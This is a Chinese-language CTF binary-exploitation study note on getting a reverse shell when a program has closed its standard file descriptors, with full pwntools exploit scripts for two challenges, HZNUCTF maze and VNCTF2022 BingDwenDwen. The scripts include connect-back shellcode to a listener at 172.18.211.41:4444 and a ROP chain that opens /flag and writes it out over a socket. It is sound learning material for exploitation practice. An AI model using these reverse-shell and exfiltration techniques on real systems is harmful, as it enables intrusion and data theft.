反弹shell

[TOC] 参考博客 关闭了标准输入、标准输出、标准错误时可以利用反弹shell

反弹shell

connect()+dupsh() - 反连

  • 实测这种最好用,这里的ip要填写自己的wsl的ip
shellcode= asm(shellcraft.connect('172.18.211.41',4444,'ipv4')+shellcraft.dupsh())
  • 此时连接成功会有如下
zp9080@LAPTOP-N2IL3LVK:~/PWN$ nc -lvp 4444
Listening on LAPTOP-N2IL3LVK 4444
Connection received on 172.18.211.41 60542
  • 原理讲解
  • 先创建套间字,然后connect,让server主动去connect我们监听的端口,建立socket连接。然后用dup2并用这个socket去覆盖原本的 0 1 2,达到将输出定向到远端的目的

bash的/dev/tcp/ip/port反弹shell

  • 可以查看web pwn中bash反弹shell的笔记

通过创建socket套间字反弹shell

  • 关闭了0,1,2要反弹shell
  • connect参数为
"""
s = socket(2, 1, 6) 这里返回的套间字应该是0
connect(s, &addr, 0x10) 
open(/flag)    这里返回的文件描述符应该是1
read(/flag)    read(1,bss,0x30)
write(socket)  利用write向socket_fd写入东西
"""

例题

HZNUCTF maze

题目分析

  • 可以看到要么满足magic的条件,这个次数很难实现。迷宫具体代码没有去逆向,但是发现每次基本一致,所以只要随便让P到达终点即可
  • 发现1中my_read有个经典的off-by-one漏洞,那就可以partial overwrite,然后main返回时就可以执行2中的shellcode
  • 但是发现从main中返回会关闭标准输入输出错误

做题过程

  • 可以执行任意的shellcode,一开始一直以为可以open系统调用打开标准输入、输出,结果发现一直不行,后来才知道这里需要反弹shell

题解

  • 这里用了反弹shell就可以得到flag了
from pwn import *
from pwnlib.util.packing import u64
from pwnlib.util.packing import p64
context(os='linux', arch='amd64')
p = process("/home/zp9080/PWN/maze")
# p=remote('150.158.117.224',20036)
# p=gdb.debug("/home/zp9080/PWN/maze",'b *$rebase(0x1993)')
elf = ELF("/home/zp9080/PWN/maze")

def dbg():
    gdb.attach(p,'b *$rebase(0x1AE6)')

p.sendlineafter("Choose an option: ",str(2))
shellcode= asm(shellcraft.connect('172.18.211.41',4444,'ipv4')+shellcraft.dupsh()) 

p.sendlineafter("say something to me:",shellcode)

p.sendlineafter("Choose an option: ",str(1))
p.sendline('s')
p.sendline('s')
p.sendline('d')
p.sendline('d')
p.sendline('s')
p.sendline('s')
p.sendline('a')
p.sendline('a')
p.sendline('s')
p.sendline('s')
p.sendline('s')
p.sendline('s')
p.sendline('d')
p.sendline('d')
p.sendline('w')
p.sendline('w')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('s')
p.sendline('s')
p.sendline('s')
p.sendline('s')
p.sendline('s')
p.sendline('s')
p.sendline('a')
p.sendline('a')
p.sendline('s')
p.sendline('s')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('w')
p.sendline('w')
p.sendline('w')
p.sendline('w')
p.sendline('w')
p.sendline('w')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('s')
p.sendline('s')
p.sendline('a')
p.sendline('a')
p.sendline('d')
p.sendline('d')
p.sendline('s')
p.sendline('s')
p.sendline('d')
p.sendline('s')
p.sendline('s')
p.sendline('a')
p.sendline('a')
p.sendline('s')
p.sendline('s')
p.sendline('d')
p.sendline('d')
p.sendline('s')
p.sendline('s')
p.sendline('d')
p.sendline('d')
p.sendline('s')
p.sendline('s')
p.sendline('d')
p.sendline('d')
p.sendline('w')
p.sendline('w')
p.sendline('d')
p.sendline('d')
p.sendline('s')
p.sendline('s')
p.sendline('s')
p.sendline('s')
p.sendline('s')
p.sendline('s')
p.sendline('d')
p.sendline('d')
p.sendline('w')
p.sendline('w')
p.sendline('w')
p.sendline('w')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('s')
p.sendline('s')
p.sendline('s')
p.sendline('s')
p.sendline('d')
p.sendline('d')
p.sendline('w')
p.sendline('w')
p.sendline('d')
p.sendline('d')
p.sendline('s')
p.sendline('s')

call_ptr=0x1A8C
payload=b'a'*0x28+b'\x8c'
print(payload)
p.send(payload)

p.sendlineafter("Choose an option: ",str(3))

p.interactive()

VNCTF2022 BingDwenDwen

from pwn import *
from pwnlib.util.packing import u64
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
context(os='linux', arch='amd64', log_level='debug')
# p = process("/home/zp9080/PWN/pwn")
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc
def dbg():
    gdb.attach(io,'b *0x4013F9')
    pause()

io=process("/home/zp9080/PWN/pwn")

pop_rdi = 0x0000000000401356
pop_rsi = 0x0000000000401358
pop_rax = 0x000000000040135a
pop_rcx = 0x000000000040135d
pop_rdx = 0x0000000000401354
sys_ret = 0x0000000000401351
bss_addr = 0x403700
push_rax_pop_rcx = 0x000000000040135c
mov_rdi_rcx = 0x000000000040135f

"""
s = socket(2, 1, 6)
connect(s, &addr, 0x10)
open(/flag)
read(/flag)
write(socket)
"""
dbg()
payload = flat({
    0x1d0: [
        # socket
        p16(0x2), # AF_INET
        p16(4444,endian="big"), # PORT
        p32(0xac12d329, endian="big"), #修改为公网IP 172.18.211.41
        p64(0), # padding
        "/flag".ljust(8, "\x00")
    ],
    0x10: [
        pop_rdi, 2,
        pop_rsi, 1,
        pop_rdx, 6,
        pop_rax, 0x29,
        sys_ret, # socket(2, 1, 6)
        #题中专门给的gadget
        push_rax_pop_rcx,
        mov_rdi_rcx,
        pop_rsi, bss_addr+0x1d0,
        pop_rdx, 0x10,
        pop_rax, 0x2a,
        sys_ret, # connect(s, &addr, 0x10)

        pop_rdi, 
        bss_addr+0x1e0,
        pop_rsi, 0,
        pop_rax, 2, # open
        sys_ret,

        push_rax_pop_rcx,
        mov_rdi_rcx,
        pop_rsi,
        bss_addr+0x200,
        pop_rdx,
        0x30, # read
        pop_rax, 0,
        sys_ret,

        pop_rdi, 0,
        pop_rsi, bss_addr+0x200,
        pop_rdx, 0x30,
        pop_rax, 1, # write
        sys_ret
    ]

})

io.sendlineafter("Hello,Do You Like Bing Dwen Dwen?\n", payload)

io.interactive()